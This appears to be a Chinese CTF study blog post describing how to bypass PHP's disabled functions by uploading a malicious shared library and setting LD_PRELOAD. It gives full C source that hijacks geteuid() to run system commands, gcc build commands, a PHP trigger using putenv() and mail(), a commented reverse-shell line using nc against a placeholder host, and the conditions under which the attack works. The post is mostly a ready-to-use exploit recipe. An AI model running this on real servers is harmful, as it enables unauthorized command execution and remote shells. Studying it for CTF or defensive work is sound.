LD_PRELOAD
修改库文件
它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。使用自己的或是更好的函数(无需别人的源码)也可以向别人的程序注入恶意程序
使用内嵌在PHP的mail()函数
Payload
1.创建hack.c文件
#include <stdlib.h> #include <stdio.h> #include <string.h> void payload() { system( "ls /var/www/html > /tmp/smity");//可以nc或bash反弹shell //nc xxxxx 7777 -e /bin/bash } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }
2.将带有命令的c文件编译成为.so文件然后通过代码执行传入
gcc -c -fPIC hack.c -o hack gcc --share hack -o hack.so
3.创建hack.php文件并上传
<?php putenv("LD_PRELOAD=./hack.so"); mail('','','',''); ?>
访问hack.php
或使用nc直接反弹shell
或蚁剑连接后使用插件直接拿到shell
或是使用pcntl_exec nc反弹shell
使用条件
能够上传自己的.so文件;
能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数并且未被禁止;
存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、 imap_mail()、 mb_send_mail()和error_log()等。
分类:
CTF学习
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 提示词工程——AI应用必不可少的技术
· Open-Sora 2.0 重磅开源!
· 周边上新:园子的第一款马克杯温暖上架